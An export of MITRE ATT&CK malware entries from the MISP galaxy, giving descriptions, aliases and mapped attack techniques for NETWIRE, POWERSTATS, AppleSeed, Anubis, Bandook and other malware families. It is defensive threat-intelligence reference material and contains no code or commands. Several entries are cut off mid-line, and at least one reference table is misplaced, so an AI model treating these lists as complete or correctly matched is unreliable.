- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-
NETWIRE - S0198

[NETWIRE](https://attack.mitre.org/software/S0198) is a publicly available, multiplatform remote administration tool (RAT) that has been used by criminal and APT groups since at least 2012. (Citation: FireEye APT33 Sept 2017) (Citation: McAfee Netwire Mar 2015) (Citation: FireEye APT33 Webinar Sept 2017)

The tag is: *misp-galaxy:mitre-malware="NETWIRE - S0198"

NETWIRE - S0198 is also known as:

- NETWIRE

View relationships graph

NETWIRE - S0198 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Fileless Storage - T1027.011" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with
estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with
estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Login Items - T1547.015" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Invalid Code Signature - T1036.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="XDG Autostart Entries - T1547.013" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-
Table 6943. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0198">https://attack.mitre.org/software/S0198</a></td>
</tr>
<tr>
<td><a href="https://www.brighttalk.com/webcast/10703/275683">https://www.brighttalk.com/webcast/10703/275683</a></td>
</tr>
</tbody>
</table>

**ISMInjector - S0189**

[ISMInjector](https://attack.mitre.org/software/S0189) is a Trojan used to install another [OilRig](https://attack.mitre.org/groups/G0049) backdoor, ISMAgent. (Citation: OilRig New Delivery Oct 2017)

The tag is: *misp-galaxy:mitre-malware="ISMInjector - S0189"*

ISMInjector - S0189 is also known as:

- ISMInjector

View relationships graph

ISMInjector - S0189 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"* with estimative-language:likelihood-probability="almost-certain"

Table 6944. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0189">https://attack.mitre.org/software/S0189</a></td>
</tr>
</tbody>
</table>

**TURNEDUP - S0199**

[TURNEDUP](https://attack.mitre.org/software/S0199) is a non-public backdoor. It has been dropped
by [APT33](https://attack.mitre.org/groups/G0064)'s [StoneDrill](https://attack.mitre.org/software/S0380) malware. (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)

The tag is: `misp-galaxy:mitre-malware="TURNEDUP - S0199"`

TURNEDUP - S0199 is also known as:

- TURNEDUP

View relationships graph

TURNEDUP - S0199 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with `estimative-language:likelihood-probability="almost-certain"`
- similar: `misp-galaxy:malpedia="TURNEDUP"` with `estimative-language:likelihood-probability="likely"

Table 6945. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0199">https://attack.mitre.org/software/S0199</a></td>
</tr>
<tr>
<td><a href="https://www.brighttalk.com/webcast/10703/275683">https://www.brighttalk.com/webcast/10703/275683</a></td>
</tr>
</tbody>
</table>

**CCBkdr - S0222**

[CCBkdr](https://attack.mitre.org/software/S0222) is malware that was injected into a signed version of CCleaner and distributed from CCleaner’s distribution website. (Citation: Talos CCleanup 2017) (Citation: Intezer Aurora Sept 2017)

The tag is: `misp-galaxy:mitre-malware="CCBkdr - S0222"`

CCBkdr - S0222 is also known as:
CCBkdr

View relationships graph

CCBkdr - S0222 has relationships with:


Table 6946. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0222">https://attack.mitre.org/software/S0222</a></td>
</tr>
</tbody>
</table>

POWERSTATS - S0223

[POWERSTATS](https://attack.mitre.org/software/S0223) is a PowerShell-based first stage backdoor used by [MuddyWater](https://attack.mitre.org/groups/G0069). (Citation: Unit 42 MuddyWater Nov 2017)

The tag is: `misp-galaxy:mitre-malware="POWERSTATS - S0223"`

POWERSTATS - S0223 is also known as:

- POWERSTATS
- Powermud

View relationships graph

POWERSTATS - S0223 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
HummingBad - S0322

[HummingBad](https://attack.mitre.org/software/S0322) is a family of Android malware that generates fraudulent advertising revenue and has the ability to obtain root access on older, vulnerable versions of Android. (Citation: ArsTechnica-HummingBad)

The tag is: `misp-galaxy:mitre-malware="HummingBad - S0322"`

HummingBad - S0322 is also known as:

- HummingBad

HummingBad - S0322 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1404"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Generate Traffic from Victim - T1643"` with estimative-language:likelihood-probability="almost-certain"

- similar: `misp-galaxy:android="HummingBad"` with estimative-language:likelihood-probability="likely"
**HOMEFRY - S0232**

[HOMEFRY](https://attack.mitre.org/software/S0232) is a 64-bit Windows password dumper/cracker that has previously been used in conjunction with other [Leviathan](https://attack.mitre.org/groups/G0065) backdoors. (Citation: FireEye Periscope March 2018)

The tag is: `misp-galaxy:mitre-malware="HOMEFRY - S0232"`

HOMEFRY - S0232 is also known as:

- HOMEFRY

View relationships graph

HOMEFRY - S0232 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"

**SynAck - S0242**

[SynAck](https://attack.mitre.org/software/S0242) is variant of Trojan ransomware targeting mainly English-speaking users since at least fall 2017. (Citation: SecureList SynAck Doppelgänging May 2018) (Citation: Kaspersky Lab SynAck May 2018)

The tag is: `misp-galaxy:mitre-malware="SynAck - S0242"`

SynAck - S0242 is also known as:

- SynAck

View relationships graph

SynAck - S0242 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="System Checks - T1497.001"` with estimative-
Anubis - S0422

[Anubis](https://attack.mitre.org/software/S0422) is Android malware that was originally used for cyber espionage, and has been retooled as a banking trojan. (Citation: Cofense Anubis)

The tag is: `misp-galaxy:mitre-malware="Anubis - S0422"`

Anubis - S0422 is also known as:

- Anubis
Anubis - S0422 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1629.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Call Control - T1616" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1633.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1481.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1417.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1471" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Contact List - T1636.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-
Exobot - S0522

[Exobot](https://attack.mitre.org/software/S0522) is Android banking malware, primarily targeting financial institutions in Germany, Austria, and France. (Citation: Threat Fabric Exobot)

The tag is: *misp-galaxy:mitre-malware*="Exobot - S0522"

Exobot - S0522 is also known as:

- Exobot
- Marcher

View relationships graph

Exobot - S0522 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern*="Match Legitimate Name or Location - T1655.001" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern*="Broadcast Receivers - T1624.001" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern*="GUI Input Capture - T1417.002" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern*="Device Administrator Permissions - T1626.001" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern*="Keylogging - T1417.001" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern*="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Contact List - T1636.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Endpoint Denial of Service - T1642" with estimative-language:likelihood-probability="almost-certain"

Table 6952. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0522">https://attack.mitre.org/software/S0522</a></td>
</tr>
</tbody>
</table>

AppleSeed - S0622

[AppleSeed](https://attack.mitre.org/software/S0622) is a backdoor that has been used by [Kimsuky](https://attack.mitre.org/groups/G0094) to target South Korean government, academic, and commercial targets since at least 2021. (Citation: Malwarebytes Kimsuky June 2021)

The tag is: misp-galaxy:mitre-malware="AppleSeed - S0622"

AppleSeed - S0622 is also known as:

• AppleSeed

View relationships graph

AppleSeed - S0622 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-
language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-
language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-
language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-
language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-
language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-
language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-
language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-
language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-
language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Web Service - T1567" with estimative-
language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-
language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-
language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-
language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-
language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-
language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-
language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-
language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-
language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-
language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-
language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 6953. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0622">https://attack.mitre.org/software/S0622</a></td>
</tr>
</tbody>
</table>

NDiskMonitor - S0272

[NDiskMonitor](https://attack.mitre.org/software/S0272) is a custom backdoor written in .NET that appears to be unique to [Patchwork](https://attack.mitre.org/groups/G0040). (Citation: TrendMicro Patchwork Dec 2017)

The tag is: *misp-galaxy:mitre-malware="NDiskMonitor - S0272"*

NDiskMonitor - S0272 is also known as:

- NDiskMonitor

View relationships graph

NDiskMonitor - S0272 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-
NanHaiShu - S0228

[NanHaiShu](https://attack.mitre.org/software/S0228) is a remote access tool and JScript backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065). [NanHaiShu](https://attack.mitre.org/software/S0228) has been used to target government and private-sector organizations that have relations to the South China Sea dispute. (Citation: Proofpoint Leviathan Oct 2017) (Citation: fsecure NanHaiShu July 2016)

The tag is: *misp-galaxy:mitre-malware="NanHaiShu - S0228"

NanHaiShu - S0228 is also known as:

- NanHaiShu

View relationships graph

NanHaiShu - S0228 has relationships with:


- uses: *misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"


- similar: *misp-galaxy:tool="NanHaiShu" with estimative-language:likelihood-probability="likely"

- uses: *misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-
MacSpy - S0282

[MacSpy](https://attack.mitre.org/software/S0282) is a malware-as-a-service offered on the darkweb (Citation: objsee mac malware 2017).

The tag is: `misp-galaxy:mitre-malware="MacSpy - S0282"`

MacSpy - S0282 is also known as:

- MacSpy

View relationships graph

MacSpy - S0282 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 6956. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0282">https://attack.mitre.org/software/S0282</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x25.html">https://objective-see.com/blog/blog_0x25.html</a></td>
</tr>
</tbody>
</table>

**AndroRAT - S0292**

[AndroRAT](https://attack.mitre.org/software/S0292) is malware that allows a third party to control the device and collect information. (Citation: Lookout-EnterpriseApps)

The tag is: *misp-galaxy:mitre-malware="AndroRAT - S0292"*

View relationships graph

AndroRAT - S0292 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Call Log - T1636.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1429" with estimative-language:likelihood-probability="almost-certain"
• similar: misp-galaxy:malpedia="AndroRAT" with estimative-language:likelihood-probability="likely"
• uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Contact List - T1636.003" with estimative-language:likelihood-probability="almost-certain"

Table 6957. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0292">https://attack.mitre.org/software/S0292</a></td>
</tr>
<tr>
<td><a href="https://blog.lookout.com/blog/2016/05/25/spoofed-apps/">https://blog.lookout.com/blog/2016/05/25/spoofed-apps/</a></td>
</tr>
</tbody>
</table>
Orz - S0229

[Orz](https://attack.mitre.org/software/S0229) is a custom JavaScript backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065). It was observed being used in 2014 as well as in August 2017 when it was dropped by Microsoft Publisher files. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018)

The tag is: *misp-galaxy:mitre-malware="Orz - S0229"*

Orz - S0229 is also known as:

- Orz
- AIRBREAK

View relationships graph

Orz - S0229 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Software Discovery - T1518"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"* with estimative-language:likelihood-probability="almost-certain"
Charger - S0323

[Charger](https://attack.mitre.org/software/S0323) is Android malware that steals contacts and SMS messages from the user’s device. It can also lock the device and demand ransom payment if it receives admin permissions. (Citation: CheckPoint-Charger)

The tag is: **misp-galaxy:mitre-malware="Charger - S0323"**

Charger - S0323 is also known as:

- Charger

View relationships graph

Charger - S0323 has relationships with:

- similar: **misp-galaxy:malpedia="Charger"** with **estimative-language:likelihood-probability="likely"**
- uses: **misp-galaxy:mitre-attack-pattern="Location Tracking - T1430"** with **estimative-language:likelihood-probability="almost-certain"**
- uses: **misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406"** with **estimative-language:likelihood-probability="almost-certain"**
- uses: **misp-galaxy:mitre-attack-pattern="Contact List - T1636.003"** with **estimative-language:likelihood-probability="almost-certain"**
- uses: **misp-galaxy:mitre-attack-pattern="Endpoint Denial of Service - T1642"** with **estimative-language:likelihood-probability="almost-certain"**

Table 6958. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0229">https://attack.mitre.org/software/S0229</a></td>
</tr>
</tbody>
</table>

Table 6959. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0323">https://attack.mitre.org/software/S0323</a></td>
</tr>
</tbody>
</table>
MURKYTOP - S0233

MURKYTOP [https://attack.mitre.org/software/S0233] is a reconnaissance tool used by Leviathan [https://attack.mitre.org/groups/G0065]. (Citation: FireEye Periscope March 2018)

The tag is: misp-galaxy:mitre-malware="MURKYTOP - S0233"

MURKYTOP - S0233 is also known as:

- MURKYTOP

View relationships graph

MURKYTOP - S0233 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

Table 6960. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0233">https://attack.mitre.org/software/S0233</a></td>
</tr>
</tbody>
</table>

Bread - S0432

Bread [https://attack.mitre.org/software/S0432] was a large-scale billing fraud malware family known for employing many different cloaking and obfuscation techniques in an attempt to
continuously evade Google Play Store’s malware detection. 1,700 unique Bread apps were detected and removed from the Google Play Store before being downloaded by users. (Citation: Google Bread)

The tag is: misp-galaxy:mitre-malware="Bread - S0432"

Bread - S0432 is also known as:

- Bread
- Joker

View relationships graph

Bread - S0432 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Native API - T1575" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Generate Traffic from Victim - T1643" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"

Table 6961. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0432">https://attack.mitre.org/software/S0432</a></td>
</tr>
</tbody>
</table>

Bandook - S0234

[Bandook](https://attack.mitre.org/software/S0234) is a commercially available RAT, written in Delphi and C++, that has been available since at least 2007. It has been used against government, financial, energy, healthcare, education, IT, and legal organizations in the US, South America, Europe, and Southeast Asia. [Bandook](https://attack.mitre.org/software/S0234) has been used by
Dark Caracal (https://attack.mitre.org/groups/G0070), as well as in a separate campaign referred to as "Operation Manul". (Citation: EFF Manul Aug 2016) (Citation: Lookout Dark Caracal Jan 2018) (Citation: CheckPoint Bandook Nov 2020)

The tag is: **misp-galaxy:mitre-malware=Bandook - S0234**

Bandook - S0234 is also known as:

- Bandook

View relationships graph

Bandook - S0234 has relationships with:

- uses: **misp-galaxy:mitre-attack-pattern=Screen Capture - T1113** with estimative-language:likelihood-probability="almost-certain"
- uses: **misp-galaxy:mitre-attack-pattern=Keylogging - T1056.001** with estimative-language:likelihood-probability="almost-certain"
